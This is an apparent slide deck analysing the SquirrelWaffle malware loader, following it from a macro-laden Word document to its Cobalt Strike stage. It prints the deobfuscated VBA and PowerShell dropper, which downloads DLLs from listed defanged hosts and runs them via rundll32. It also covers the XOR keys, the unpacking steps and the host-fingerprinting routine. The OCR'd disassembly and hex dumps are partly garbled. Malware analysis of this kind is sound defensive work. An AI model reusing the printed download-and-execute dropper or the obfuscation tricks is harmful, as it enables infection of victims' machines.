

SquirrelWaffle

From Maldoc to Cobalt Strike

Joel Dönne | @jxd_io

Background

- A new spam mail campaign has been running since mid-September 2021, which delivered a new kind of malware loader → SquirrelWaffle
- Similar to other campaigns before, this one sends a mail with a malicious attachment or a link to download one.

Let's analyze it!

Virustotal Research

- Campaign uses similar naming scheme: "diagram-<Number>.doc"
 - Sample Case 1) diagram-721.doc
 - Sample Case 2) diagram-623.doc
- Search results on VT: **76 files** since 10.09.
- Submissions from DE, FR, HU, IN, US



 In some other cases .xlm files are used for initial compromise, but the delivered samples in stage 2 and afterwards are the same

40	() 40 security vendors and 5 sandboxes flagged this file as malicious		
 7 60 ? X Community √ Score 	449fc42c5403c4f26fd123065a0fc2b834161514086a274f477d3c18d88f4238 diagram-721.doc doc handle-file macros obfuscated open-file run-file write-file	223.52 KB Size	2021-09-20 12:29:22 UTC 3 days ago

- Word document with obfuscated VBA macro
- Analysis via olevba --deobf
 - Some decoy code
 - Dropper & CnC communication



W

This document created in previous version of Microsoft Office Word.

To view or edit this document, please click "Enable editing" button on the top bar, and then click "Enable content"

нн9="ро"
HH8="wers"
HH7="h"
HH6="ell "
HH0= HH9+HH8+HH7+HH6
Set Ran = CreateObject("wscript.shell")
Ran.Run HH0+LL1,Chr(48)
Ran.Run HH0+LL2,Chr(48)
Ran.Run HH0+LL3,Chr(48)
Ran.Run HH0+LL4,Chr(48)
Chr(48) رRan.Run HHO+LL5
WScript.Sleep(15000)
OK1 = "cmd /c rundll32.exe C:\ProgramData\www1.dll,ldr"
Ran.Run OK1, Chr(48)
OK2 = "cmd /c rundll32.exe C:\ProgramData\www2.dll,ldr"
Ran.Run OK2, Chr(48)
OK3 = "cmd /c rundll32.exe C:\ProgramData\www3.dll,ldr"
Ran.Run OK3, Chr(48)
OK4 = "cmd /c rundll32.exe C:\ProgramData\www4.dll,ldr"
Ran.Run OK4, Chr(48)
OK5 = "cmd /c rundll32.exe C:\ProgramData\www5.dll,ldr"
Ran.Run OK5, Chr(48)

IEX (New-Object Net.WebClient).DownloadFile('hxxps://priyacareers.com/u9hDQN9Yy7g/pt.html','C:\ProgramData\www1.dll') IEX LL1 = "\$Nano='JOOEX'.replace('JOO','I');sal OY \$Nano;\$aa='(New-Ob'; \$qq='ject Ne'; \$ww='t.WebCli'; \$ee='ent).Downl'; \$rr='oadFile'; \$bb='('' <u>https://priyacareers.com/u9hDQN9Yy7g/pt.html'', ''C:\ProgramData\www1.dll'')';\$FOOX</u> =(\$aa,\$qq,\$ww,\$ee,\$rr,\$bb,\$cc -Join ''); OY \$FOOX OY;"
IEX (New-Object Net.WebClient).DownloadFile('hxxps://perfectdemos.com/Gv1iNAuMKZ/pt.html','C:\ProgramData\www2.dll') IEX LL2 = "\$Nanoz='JO0EX'.replace('JO0','I');sal OY \$Nanoz;\$aa='(New-Ob'; \$qq='ject Ne'; \$ww='t.WebCli'; \$ee='ent).Downl'; \$rr='oadFile'; \$bb='('' <u>https://perfectdemos.com/Gv1iNAuMKZ/pt.html'','C:\ProgramData\www2.dll'')';\$FOOX</u> =(\$aa,\$qq,\$ww,\$ee,\$rr,\$bb,\$cc -Join ''); OY \$FOOX OY;"
IEX (New-Object Net.WebClient).DownloadFile('hxxps://bussiness-z.ml/ze8pCNTIkrIS/pt.html','C:\ProgramData\www3.dll') IEX LL3 = "\$Nanox='JO0EX'.replace('JO0','I');sal OY \$Nanox;\$aa='(New-Ob'; \$qq='ject Ne'; \$ww='t.WebCli'; \$ee='ent).Downl'; \$rr='oadFile'; \$bb='('' <u>https://bussiness-z.ml/ze8pCNTIkrIS/pt.html'','C:\ProgramData\www3.dll'')';\$FOOX</u> =(\$aa,\$qq,\$ww,\$ee,\$rr,\$bb,\$cc -Join ''); OY \$FOOX OY;"
IEX (New-Object Net.WebClient).DownloadFile('hxxps://cablingpoint.com/ByH5NDoE3kQA/pt.html','C:\ProgramData\www4.dll') IEX LL4 = "\$Nanoc='JOUEX'.replace('JOU','I');sal OY \$Nanoc;\$aa='(New-Ob'; \$qq='ject Ne'; \$ww='t.WebCli'; \$ee='ent).Downl'; \$rr='oadFile'; \$bb='('' <u>https://cablingpoint.com/ByH5NDoE3kQA/pt.html'',''C:\ProgramData\www4.dll'')';\$FOOX</u> =(\$aa,\$qq,\$ww,\$ee,\$rr,\$bb,\$cc -Join ''); OY \$FOOX OY;"
IEX (New-Object Net.WebClient).DownloadFile('hxxps://bonus.corporatebusinessmachines.co.in/1Y0qVNce/pt.html','C:\ProgramData\www5.dll') IEX





- Dropped PE-DLLs www[1-5].dll vary on requested dropper URLs
- Code is obfuscated
- The called "ldr" function is not available…

Ē	Exports	×	IDA View-A	×		Pseudocode-A
Nar	ne			Address		Ordinal
D	Actcause			6F8CD7A0		1
i	Breakbox			6F8CD670		2
D	CauseSeat			6F8CDE30		3
D	Duringweight			6F8CDCF0		4
D	Equalcry			6F8CDBF0		5
D	Oldkind			6F8CDCB0		6
D	Song			6F8CDA80		7
i	Teachhear			6F8CD940)	8
i	DIIEntryPoint			6F8C18DB		268445915



Analysis – Stage 2 Flow Graph



 Some interesting Imports of this sample are not referenced directly...

 <sup>; LPVOID _stdcall VirtualAlloc (LPVOID lpAddress, Size <sup>; Mond - stdcall VirtualAlloc (LPVOID lpAddress, Size</sub>
 <sup>; Mond - stdcall VirtualAlloc (LPVOID lpAddress, Size)

</sup></sup></sup>

		Marning	×				
Program Analysis Rule Generator		There are no xrefs to VirtualAlloc	session only)				
Limit results to current function		OK	Unite				
search			нер				
			; CODE AREF				
 allocate RWX memory 		host-interaction/process/inject					
basic block(loc_6F8E22CF)	6F8E22CF	host_interaction/modess					
		host-interaction/process					
<pre>> _ runction(sub_or occourc) > _ check mutex</pre>	01000010	host-interaction/mutex					
> basic block(loc 6F8CEFD8)	6F8CEFD8						
✓ □ contains PDB path		executable/pe/pdb					
regex(/:\\.*\.pdb/)	6F8FBA94	"c:\\equal\\True\\bird_Select\\780\\true.pdb"					
✓ ☐ enumerate files via kernel32 functions		host-interaction/file-system/files/list					
Interpretation (sub_6F8C75E0)	6F8C75E0						
 get common file path (2 matches) 		host-interaction/file-system					
function(Equalcry)	6F8CEBF0						
> [] function(Teachhear)	6F8CE940						
✓ ☐ get thread local storage value		host-interaction/process					
function(sub_6F8C889A)	6F8C889A						
		linking/runtime-linking					
function(sub_6F8C5DAF)	6F8C5DAF						
v		host-interaction/environment-variable					
Interesting_func	6F8E2210						
✓ □ set thread local storage value		host-interaction/process					
function(sub_6F8C88D9)	6F8C88D9						
✓ ☐ write file (4 matches)		host-interaction/file-system/write					
function(sub_6F8CAD9C)	6F8CAD9C						

M	Imports	×		IDA View-A	×				
Address		Ordinal	Nam	e					
6F8E30D4				CreateFileW					
6F8E300	08		GetTe	mpPathW					
6F8E300	DC		GetEr	vironmentVariable	W				
1 6F8E30E	EO		GetM	oduleFileNameW					
🛐 6F8E30E	E4		Virtua	lAlloc					
10 6F8E30E	E8		Virtua	lFree					
6F8E30E	EC		Creat	eDirectoryW					
6F8E30F	FO		Unha	ndledExceptionFilt	er				
6F8E30F	-4		SetUr	handledException	Filter				
6F8E30F	F8		GetC	urrentProcess					
6F8E30F	FC		Termi	nateProcess					
6F8E310	00		IsPro	cessorFeaturePrese	nt				
6F8E310)4		GetC	urrentProcessId					
6F8E310	08		GetC	urrentThreadId					
6F8E310)C		GetSystemTimeAsFileTime						
6F8E311	10		InitializeSListHead						
6F8E311	14		lsDebuggerPresent						
6F8E311	18		GetStartupInfoW						
6F8E311	IC		EncodePointer						
6F8E312	20		RaiseException						
6F8E312	24		InterlockedFlushSList						
6F8E312	28		GetLastError						
6F8E312	2C		SetLastError						
6F8E313	30		RtlUnwind						
6F8E313	34		EnterCriticalSection						
6F8E313	38		LeaveCriticalSection						
6F8E313	3C		Delet	eCriticalSection					
6F8E314	40		Initia	izeCriticalSectionA	ndSpinCo	unt			
6F8E314	14		TIsAlloc						
6F8E314	48		TIsGetValue						
6F8E314	4C		TIsSetValue						
6F8E315	50		TIsFree						
6F8E315	54		FreeLibrary						
Ma 6F8E315	58	ocAddress							
6F8E315	5C		Load	.ibraryExW					

FLARE CAPA explorer

- Lets start with the dynamic analysis setting a breakpoint at kernel32.dll VirtualAlloc
- 1) Call is coming from call dword ptr ds:[ebx+2113E4]
- 2) Allocated memory is written by rep movsb
- 3) Jumping into buffer shellcode via *jmp eax*

CPU	Dog	Notes	Breakpoints		Memory Map	🗐 Call Stack	🖷 Seh	0
•	6F600587	5	1		push ecx			
•	6F600588	6	A 00	4	push 0			
•	6F60058A	F	F93 E4132100		call dword	d ptr ds:[ebx-	+2113E4]	
EIP →•	6F600590	5	9		pop cex			
	6F600591	5	E		pop esi			
	6F600592	8	983 B8132100		mov dword	ptr ds:[ebx+2	2113B8],e	ax
•	6F600598	8	9C7	-	mov edi e:	iv.		
•	6F60059A	F	3:A4	21	rep movśb			
•	6F60059C	8	BB3 C4132100	-,	mov est, di	word per ds: [EDX+2113C	41
•	6F6005A2	8	DBB E8132100		lea edi.dv	word ptr ds:[ebx+2113E	81
•	6F6005A8	2	9F7		sub edi, es	si É		-
•	6F6005AA	0	1F8	-	add eav e	41		
•	6F6005AC	- F	FEO	31	jmp eax			
۰	6F6005AE	8	B93 98132100	\sim	mov eax, av	word ptr ds:[0	eDX+21139	8]
•	6F6005AE	8	B93 98132100	J	mov eax, av	word ptr ds:[0	ebx+21139	8]

- Lets start with the dynamic analysis setting a breakpoint at kernel32.dll VirtualAlloc
- 1) Call is coming from call dword ptr ds:[ebx+2113E4]
- 2) Allocated memory is written by rep movsb
- 3) Jumping into buffer shellcode via jmp eax

E8 00 00 00 00 = shellcode call instruction

eax=	000D705	6F600587 51 push ecx 6F600588 6A 00 push 0 6F60058A FF93 E4132100 call dword ptr ds:[ebx+2113E4] 6F600590 59 pop ecx 6F600591 5E pop esi 6F600592 8983 B8132100 mov dword ptr ds:[ebx+2113B8],e 6F600594 F3:A4 rep movsb 6F600592 8B83 C4132100 mov edi,eax 6F600594 F3:A4 rep movsb 6F600592 8B83 C4132100 mov esi,dword ptr ds:[ebx+2113C 6F600592 8DBB E8132100 lea edi,dword ptr ds:[ebx+2113E 6F6005A2 8DBB E8132100 lea edi,dword ptr ds:[ebx+2113E 6F6005A4 01E8 add eax edi 6F6005A4 01E8 add eax edi 6F6005A4 52 push edx 6F6005A5 6A 40 push edx 6F6005B5 6A 40 push 40 6F6005B5						GA 00 FF93 E4132100 59 5E 8983 B8132100 89C7 F3:A4 8BB3 C4132100 8DBB E8132100 29F7 01F8 ^ FFE0 8B93 98132100 52 GA 40 52 GA 50 GA 5				eax C4] E8] 98]											
1000C	Dump 1	1		mo	,		Dumo	. 2	0	m n	umr	4		m r		n 5	65	wat	tch 1		[x=]1	ocale	
Addr	ess H	ex	-9 00	imp 2	-	10-10 ¹	Jamp	, ,		-9 01	ump	, ,		6-0 L	Zum	55	ASC	II			[A-] [
00D7 00D7	05A8 E	8 0 1 0	0 00	00	00 C4	5B 13	81 21	EB 00	ED 8D	13 83	21 9F	00 0E	8D 21	83 00	40) ()) ()) ()	E e 3 !	:.[·	.ëi. !		.@.		
	EP EAX			g 05 AE 05 AE 05 BA 05 C 05 C 05 C 05 C 05 C 05 C 05 C 05 C		Notes	E8 81E1 8D8 8D8 898 898 898 808 56 68 808 56 6A 68 808 56 6A	 B ED B ED C 40 C C<th>reak 0000 1132 00E2 1132 0132 0132 0132 0132 00E2</th><th>point 100 100 100 100 100 100 100 10</th><th>5</th><th></th><th>Me S 1 1 1 1 1 1 1 1 1 1 1 1 1</th><th>all sub lea lov lea nov lea bush lea bush bush lea</th><th>(Ma D7 ebx ebx ebx ebx ebx ebx ebx ebx ebx ebx</th><th>p ,21 ,dw rd ,dw rd ,dw i ,dw i E88 ,dw</th><th>D 13ED ptr d ord p ptr d ord p ptr d ord p vord p word p</th><th>tr d s:[e tr d s:[e tr d tr d tr d</th><th>s:[@ bx+2 s:[@ bx+2 s:[@ s:[@ s:[@</th><th>Ebx+ 2113 2bx+ 2113 2c51+ 2113 2c5x+ 2bx+ 2bx+</th><th>,SEH 210E 24], 210E 98], 3C] 2113 210E 210E</th><th>40] eax 9F] esi eax D0] DF]</th><th>0</th>	reak 0000 1132 00E2 1132 0132 0132 0132 0132 00E2	point 100 100 100 100 100 100 100 10	5		Me S 1 1 1 1 1 1 1 1 1 1 1 1 1	all sub lea lov lea nov lea bush lea bush bush lea	(Ma D7 ebx ebx ebx ebx ebx ebx ebx ebx ebx ebx	p ,21 ,dw rd ,dw rd ,dw i ,dw i E88 ,dw	D 13ED ptr d ord p ptr d ord p ptr d ord p vord p word p	tr d s:[e tr d s:[e tr d tr d tr d	s:[@ bx+2 s:[@ bx+2 s:[@ s:[@ s:[@	Ebx+ 2113 2bx+ 2113 2c51+ 2113 2c5x+ 2bx+ 2bx+	,SEH 210E 24], 210E 98], 3C] 2113 210E 210E	40] eax 9F] esi eax D0] DF]	0
0	00D705A	D																					
0	00 D 705A	8									_				_	_							
	🚚 Dum	p 1	-	Dum	p 2		Dun	np 3	Ģ	D 🔍	ump	4	Ų	- Du	mp !	5	🧶 w	atch :	1	[x =] [ocals	4	2
	Address 00D705A 00D705B 00D705C 00D705E 00D705F 00D705F	He 8 E8 8 21 8 21 8 98 8 13 8 00 8 00 98 00 98 00	8 00 8 00 8 13 3 21 0 00 0 74 0 25	00 89 21 00 8D 08 00	00 83 00 56 88 F0	00 58 C4 13 8B 40 8D 83 F7 08 83 EF FF FF	8 81 8 21 5 3C 8 DF 21 0F 66	EB 00 89 0E 00 21 81	ED 8D 83 21 FF 00 38	13 B3 C8 00 D7 EB 4D	21 9F 13 56 83 1F 5A	00 0E 21 6A BB 8B 74	8D 21 00 EF 83 07	83 00 8D 68 0F C4 2D	40 89 83 88 21 13 00	0E B3 D0 4E 00 21 10	ASCII e,Ä .!.,Ä .!.V. .*. .*. .*. .*. .*. .*. .*.	[.ëi .! 	È.! .Vj X.» ë.	.@. ! 			

- A further call of VirtualAlloc leads to a new buffer
- Setting a HW,Write breakpoint on that buffer leads to the routine which fills this buffer
- Remove this breakpoint and set another one at the end of the filling routine (leave instruction)
- Magic Bytes: M8Z → aPLib compression

	Natas	Proskosista	Memory Man	Call Stade 📖 SEU
Image: CPU Image: Log 00D70 00D70 00D70 00D70	Notes Notes 2D5 89E5 2D7 8845 2DA 8845 2DA 8845 2DA 8845 2DA 8855 2E0 31D8 2E2 89CE 2E4 83E6 2E7 75 2E8 8855 2E7 68D2 2E7 68D2 2F6 66:0 2F7 68D2 2F8 3010 2F9 40 2F6 ~ E22 E 301 C9 301 C9 301 63 307 53 308 55	Breakpoints 0 08 00 10 10 10 10 10 10 10 2 CO0 10 10 2 CO0 10	Memory Map mov ebp,es mov eax,dw mov ecx,dw mov ecx,dw wov edx,dw xor ebx,eb mov esi,ec and esi,3 jne D702FB mov ebx,dw add dx,bx neg dx imul edx,e ror edx,7 mov dword xor byte p inc eax loop D702E leave ret C sub esp,10 push ebx push ebx	Call Stack SEH p ord ptr ss: [ebp+8] ord ptr ss: [ebp+4] ord ptr ss: [ebp+10] x x ord ptr ss: [ebp+10] dx,2 ptr ss: [ebp+10], edx tr ds: [eax],d1
00070 00070	308 55 309 56 30A 8874 30E 30C9 310 31ED 312 31D8 314 30C0 315 57 319 884C 310 0 F866 323 E8 0 325 8874 329 84C9 329 84C2 329 84C3 320 0 F866 322 8874 323 8874 324 0 F866 325 8874 326 0 F866 322 8854 336 01D1 338 8079 336 8079 337 8411	24 24 98000000 4 24 28 F 4C24 13 24 30 01 00	push esp push esi mov esi,dw xor cl,cl xor ebp,eb xor ebp,eb xor al,al test esi,e push edi mov byte p jbe D7038E jmp D70329 mov esi,dw test cl,cl je D7035C mov zx ecx, mov edx,dw add ecx,ed cmp byte p mov dl byt	ord ptr ss:[esp+24] p x si tr ss:[esp+13],c1 ord ptr ss:[esp+28] byte ptr ss:[esp+30] x tr ds:[ecx+1],0 e ptr ds:[ecy1]
<u> </u>				
_00D70300				
Dump 1	Dump 2	o 3 💷 Dump 4	Dump 5	Watch 1 [x=] Locals
Address Hex				ASCII
00EB0000 4D 38 00EB0010 01 40 0 00EB0020 CD 21 00EB0030 67 CF 00EB0040 75 BF	5A 90 38 03 66 C2 15 C3 08 01 B8 F5 4C 80 0A 61 6D 0E 63 8E 30 69 06 44 4F	02 04 09 71 FF 0E 08 0E 1F BA 54 68 69 73 20 6E 3E 9F 74 CF 53 FC 6D 07 6F 02 C2 58 0 78	F 81 B8 C2 91 A 7C 01 B4 09 D 70 1C 72 6F F 62 65 5F 9E F 64 65 2E 0D A 09 00 00 00	M8Z.8.fqÿ. Å. .@Å.Ű . 1!.ŏLThis p.ro gïam.c.n>.tïbe u¿0i.DOSüm.ode

- To reveal the aPLib decompression routine remove all further breakpoints and set a new one (HW,Access) at the M8Z header bytes
 - → Breakpoint triggerd in the aPLib decompression function
 - → The EDI register reveals the destination offset for the decompressed content
- Replace the breakpoint with one at the end of the decompression routine (ret instruction)
 - \rightarrow Decompressed PE-DLL
- Dump PE-DLL

🔛 CPU	🛃 Log	🔋 Notes 🛛 📍 Breakpoir	its 🛛 🛲 Memory Map 📋 Call Stack 🥞
0 0 0	00A6023D 00A6023F 00A60240	10D2 C3 31C9	adc dl,dl ret xor ecx.ecx
·>	00A60242 00A60243 00A60248	41 E8 EEFFFFFF 11C9	inc ecx Call A60236 adc ecx ecx
	00A6024A 00A6024F	E8 E7FFFFF	call A60236 jb A60243
	00A60251 00A60252 00A60256	2B7C24 28 897C24 1C	<pre>sub edi,dword ptr ss:[esp+ mov dword ptr ss:[esp+1C],</pre>
	00A6025A 00A6025B	61 C3	ret
	00A6025F 00A6025F	53 53 885C24_1C	push ebx mov ebx.dword ptr ss: F esnt
0	00A60264 00A60265	55 56	push ebp push esi
• •	00A60266 00A60268 00A60269	31C0 57 31F6	xor eax,eax push edi xor esi.esi
•	0046026B	66.833B 00	cmp word ntr ds [ebv] 0





"Idr" function has only one call instruction to the main function

ldr	public proc n call xor retn	: ldr mear main_function eax, eax
ldr	endp	

- To start "ldr" function, do the following steps: 1) Load PE-DLL in x32dbg
 - 2) Run DIIEntryPoint function till returning to initial ntdll call (at least function at offset 0x1000)
 - **3)** Move EIP manually to "ldr" entry point

|--|



	_									
		P	Exports	×	Impo	ts	×		IDA V	
		Name				Address		Ordinal		
		f Idr				10005610		1		
		🕖 DllEntry	Point			10008AF2		[main entry]		
									_	
1	Imports	×		IDA View-A	Rule Information	^			Address	Details
ddress	Ordinal	Name		Library	> 🗌 contains PD	B path				executable/pe/pdb
1000A000		GetUserName	eW	ADVAPI32	> 🗌 create proc	ess (3 matches)				host-interaction/process/create
1000A008		GetAdaptersIr	nfo	IPHLPAPI	I encode data	a using Base64				data-manipulation/encoding/base64
1000A010		GetComputer	rNameW	KERNEL32	> get MAC ad	dress				collection/network
1000A014		WinExec		KERNEL32	> get hostnar	ne				host-interaction/os/hostname
1000A018		SetUnhandled	dExceptionFilt	er KERNEL32	> get local IP	/4 addresses				host-interaction/network/address
1000A01C		Sleep		KERNEL32	> get networ	king interfaces				host-interaction/network/interface
1000A020		HeapFree		KERNEL32	> get session	user name				host-interaction/session
1000A024		GetCurrentPre	ocess	KERNEL32	> 🗌 initialize Wi	nsock library				communication/socket
1000A028		GetProcessHe	ean	KERNEL 32	receive dat	а				communication
1000A02C		IsProcessorFe	aturePresent	KERNEL 32	receive dat	a on socket				communication/socket/receive
10004030		IsDebuggerPr	resent	KERNEL 32	reference E	lase64 string				data-manipulation/encoding/base64
				a second of the basis for						

resolve DNS

send data

send HTTP request

send data on socket

write file (2 matches)

send HTTP request with Host header

validate payment card number using luhn algo

host-interaction/network/dns/resolv

communication/http/client

communication/socket/send

data-manipulation/checksum/luhn

host-interaction/file-system/write

communication/http

communication

N 1000A030

1000A034 1000A034

1000A038

1000A03C

1000A040

1000A044

1000A048

10004040

GetCurrentProcessId

GetCurrentThreadId

InitializeSListHead

TerminateProcess

HeapAlloc

QueryPerformanceCounter

GetSystemTimeAsFileTime

KERNEL32

KERNEL32

KERNEL32

KERNEL32

KERNEL32

KERNEL32

KERNEL32

The interesting parts of that function are mainly the decryption of the CnC server list and the ones which are used to generate the payload for the further communication.

lea push lea push call	<pre>eax, [ebp+nSize] eax ; nSize eax, [ebp+Buffer] eax ; lpBuffer ds:GetComputerNameW</pre>	mov xor push mov call	esi, ds:gete eax, eax offset VarNa [ebp+var_103 esi ; getenv	mv me ; "APPDATA" B8], eax
lea push lea push call	<pre>eax, [ebp+nSize] eax ; pcbBuffer eax, [ebp+Buffer] eax ; 1pBuffer ds:GetUserNameW</pre>	push push push call	eax 64h ; 'd' 0 ds:NetWkstaG	; bufptr ; level ; servername etInfo

The output from the function calls are concatenated in a string like

<ComputerName><Username><AppDataPath><Domain>

and XORd with the static key "KJKLO"



XOR the concatenated string

for (i = 0; enc_data_index < a5; i = ++enc_data_index)</pre> Size = 0; v31 = 15; enc data = &Block; key = &a7; LOBYTE(Src[0]) = 0;if ((unsigned int)a6 >= 0x10) enc data = Block; if ((unsigned int)al2 >= 0x10) key = a7; sub 100068B0(Src, 1u, enc data[enc data index] ^ key[enc data index % a11]); LOBYTE(v36) = 3;v17 = Src; v18 = (char *)Src[0]; if (v31 >= 0x10) v17 = (void **)Src[0]; v19 = v13[5] - v13[4];v32 = v13[4]; v20 = Size;

XOR crypt function

To follow the preparation, set breakpoints to the XOR crypt function calls.

The result of the call is returned as a pointer in the EAX register



Address	He	(ASCII
00D5FC30	OF	0F	18	07	1B	04	1A	66	OE	1F	78	7E	08	7B	0A	42	fx~.{.B
00D5FC40	43	1E	3F	2A	39	43	42	OF	75	17	1F	38	29	3D	38	16	C.?*9CB.u8)=8.
00D5FC50	1E	3F	2A	39	16	0A	3C	3F	OF	2B	3F	2D	13	19	25	2A	.?*9 .+?%*</th
00D5FC60	21	26	25	2D	42	45	18	04	18	00	0B	1D	04	1F	1B	45	!&%-BEE

After XORing the concatenated string, the result is encoded base64



Recipe	2 🖿 î	Input end: 9 length: 88 end: 9 lines: 1 + 🗅 🔁 🗎 🃰
From Base64	⊘ 11	Dw8YBxsEGmYOH3h+CHsKQkMePyo5Q0IPdRcfOCk9OBYePyo5Fgo8Pw8rPy0TG SUqISYlLUJFGAQYAAsdBB8bRUY=
Alphabet A-Za-z0-9+/=	-	Output start: 7 time: 1ms end: 6 length: 65 length: -1 lines: 1
Remove non-	alphabet chars	DESKTOP-BP34C7E User C:\Users\User\AppData \Roaming WORKGROUP
XOR	⊘ 11	
Key KJKLO	UTF8 🕶	
^{Scheme} Standard	□ ^{Null} preserving	

🕮 CPU	📝 Log	🖺 Notes	Breakpoints	🛲 Memory Map	Call Stack	🖻 SEH	Script	🔮 Symbols	<> Source	P References		🛸 Threa	ads 🛛 📥 H
۰	70D945E	7 8D 95	5 C8FDFEFF	lea_edx,dwor	rd ptr ss:[eb	p-10238					~		
	70D945E	FFB5	5 D8FDFEFF	push dword p	otr ss: ebp-1	0228	111	t					
	70D945F	3 0F43	S95 C8FDFEFF	cmovae edx,	word ptr ss:	ebp-10238	- Cru	-				EAX	0097F13C
	700945F7				11 vor to h64	p-10250	CO	nvert VORd S	tring to R64				
	7009460	5 83C4	4 04	add esp.4	11. X01 _00_004	<u>^</u>	0	inver e Xoku s	fer nig co boy				0097F124
	70D9460	8 8D 8D	C8FDFEFF	lea ecx.dwor	d ptr ss: eb	p-10238						EDX	00D5FC30
•	70D9460	E 50		push eax			ea	x:"0üÕ"				EBP	0098F374
•	70D9460	F E8 E	BC110000	call 3087041	L.70D957D0							ESP	0097EF80
•	70D9461	4 8B95	5 C4FDFEFF	mov edx, dwor	d ptr ss:[eb	p-1023C]						ESI	00D67A6A
•	70D9461/	A 83FA	A 10	cmp_edx,10								EDI	0000001F
	70D94610	D Y 72 3	31	jb 3087041.7	OD 94650								
	70D9461	F 8880	D BOFDFEFF	mov ecx, dwor	nd ptr ss:[eb	p-10250						EIP	70D94600
	7009462	5 42 C 80C1		inc eax				1000A.					
	7009462	8 8164	A 00100000	cmp edv 1000				. 000				EFLAG	S 00000
	7009462	F v 72 1	16	ib 3087041.7	/ 70D94646							75 0	DE 1 AE
	70D9463	0 8849	9 FC	mov ecx.dwor	d ptr ds: [ec	Y					~	Default	(stdcall)
				1								1: [es	spl 00000
<u>i</u> i	<									>		2: e	Sp+41 7A09
<3087041.	xor_to_be	54>										3: [es	sp+8] 70D9
												4: [es	sp+C] 0098
												5: [es	sp+10] 000
.text:70D	94600 308	37041.dii:	\$4600 #3A00										
Dump 1	Dun	nn 2 🛛 🛺 [Due 🚛 Dump	4 🛄 Dump 5	👹 Watch 1	[x=] Locals	Struct						
Note in a set of	lieu				LACCET	1							
Address	нех				ASCII	-							
009/F124	00 FC D5	00 B 04-	1A 66 UE 1F 78	7E 08 7B 0A 00	u0	~.[]							
_													
	700.045.57	20.05 (CORDERER	log ody dword of	n cci obn 100								



CyberChef decryption

Like mentioned before, the XOR crypt routine is also used to decrypt the **embedded CnC server**, but using a different key.

while (1)												
{												
<pre>Sleep(0x5DC0u);</pre>												
v170 = &v158												
<pre>sub_100058F0(&v158, v195);</pre>												
LOBYTE(v222) = 21;												
v156 = 0;												
v157 = 15;												
LOBYTE(v152) = 0;												
copy_data(&v152, &unk_1000A2D5, 0);												
LOBYTE(v222) = 20;												
<pre>v58 = (void **)cnc_communication(v152,</pre>	v153,	v154,	v155,	v156,	v157,	v158,	v159,	v160,	v161,	(size_	t) v162,	v163);

CnC communication function

v238 = &key
v206 = 0;
v207 = 15;
LOBYTE(key) = 0;
<pre>copy_data(&key, "yJvvbjNNGUTBRTutdGaKAvbgsKGSmlibyoPLRhmOKYGyFTDOWpzVjTyBzfphE", 0x3Du);</pre>
LOBYTE(v271) = 4;
sub 100058F0(&v196, v251);
LOBYTE(v271) = 3;
<pre>xor crypt(v196, v197, v198, v199, v200, v201, key, v203, v204, v205, (int)v206, v207);</pre>

Key for CnC server list decryption



In the next step the malware does more preparation for a further communication with the CnC server

It concatenates a random string with the the local IP address, XORs and encodes it base64

🕮 CPU 📝 Log 🖺 Notes 📍 Breakpoints	🛲 Memory Map 🛛 🗐 Call Stack 🛛 😤 SEH	💿 Script 🛛 🐏 Symbols	Source December Source Sources	🛸 Threads	晶 Handles	👔 Trace
 70D92AAB 70D92AB 83EC 18 70D92AB3 C645 FC 11 70D92AB7 8085 E8F9FFFF 	<pre>call <3087041.copy_data> sub esp,18 mov byte ptr ss:[ebp-4],11 lea eax,dword ptr ss:[ebp-618]</pre>	[ebp-618]:"Jci	rgRYwTiizs2trQ\t10.0.0.249"	EAX (0097E55C	&"JcrgRYwTiizs2trQ\t10.0.0.249"
TOD 92ABD TOD 92ABD TOD 92ACD TOD 92AC0 TOD 92AC0 TOD 92AC0 S000 A0F9FFFF TOD 92AC8 C645 FC 10 TOD 92AC8 C645 FC 10 TOD 92AC8 S02406 TOD 92AC6 S02406 S02406 TOD 92AC6 TOD 92AC6	mov ecx,esp push eax call 3087041.700958F0 lea ecx,dword ptr ss:[ebp-660] mov byte ptr ss:[ebp-610],10 call 3087041.xor_crypt> mov esi,eax add esp;40 lea eax,dword ptr ss:[ebp-618] lea eax,dword ptr ss:[ebp-618] the eax;61 propert	Src Src esi:"\t10.0.0 [ebp-618]:"Jcr eax:&"JcrgRYW	.249", eax:&"JcrgRYwTiizs2tr gRYwTiizs2trQ\t10.0.0.249" fiizs2trQ\t10.00.249", esi:	RV EIP 7	0097E8EC 00393432 0097EF4C 0097E55C 00D69FD0 0000001E 70D92ACF	&""ó" &"jcrgRYwTiizs2trQ\t10.0.0.249" "\t10.0.0.249" 3087041.70D92ACF
70092AE3 8B95 FCF9FFFF 70092AE9 83FA 10 70092AEC ✓ 72 28	<pre>mov edx,dword ptr ss:[ebp-604] cmp edx,10 ib 3087041.70D92B19</pre>			Default (st 1: [esp	00000310 :dcall)] 00D73C68	"JcrgRYwTiizs2trQ\t10.0.0.249"
<3087041.xor_crypt>				2: [esp 3: [esp	+4] 0097E89 +8] 0097EF4	9C 4C &""ô [*] " 20 2087041 70082480
.text:70D92ACF 3087041.dll:\$2ACF #1ECF				5: Tesn	+101 000000)1R
TOUS2AB3 C645 FC 11 70092AB7 8085 E89FFFF 70092AB7 8085 E89FFFF 70092AB7 8085 E89FFFF 70092AB7 8085 E89FFFF 70092AC5 8080 A0F9FFFF 70092AC6 8085 E89FFFF 70092AC6 8085 E89FFFF 70092AC6 8085 E89FFFF 70092AD9 8085 E89FFFFF 70092AD9 8085 E89FFFFF 70092AD4 8855 FCF9FFFFF 70092AE1 × 74 5E 70092AE2 × 72 28 × 72 × 72 28 × 72 28 * 707** * 72 * 70** * 72 * 70** * 72	<pre>nov byte ptr ss:[edp-4] lea eax,dword ptr ss:[e mov ecx,esp push eax call 3087041.70D958F0 lea ecx,dword ptr ss:[e mov byte ptr ss:[ebp-4] call <3087041.xor_crypt mov esi,eax add esp,30 lea eax,dword ptr ss:[e cmp eax,esi je 3087041.70D92B41 mov edx,dword ptr ss:[e cmp edx,10 lb 3087041.70D92B19</pre>	11 [1 bp-616] [1 bp-660] S1 10 S1 > est bp-616] [1 bp-604] [1	ebp-618]:"JcrgRYwTiizs2tr .c si:"\t10.0.0.249", eax:"G ebp-618]:"JcrgRYwTiizs2tr ax:"Ofx", esi:"\t10.0.0.2	Q\t10.0.0.2 fx" Q\t10.0.0.2 49"	249" 249" >	EAX 0097E8EC EBX 00000000 ECX 7A066620 EDX 0000000F ESP 0097E54C ESI 00069PD0 EDI 0000001E EIP 70D92AD4 EFLAGS 000002 Default (stdcall) 1: [esp+4] 2: [esp+6] 3: [esp+6] 3: [esp+10] 5: [esp+14]
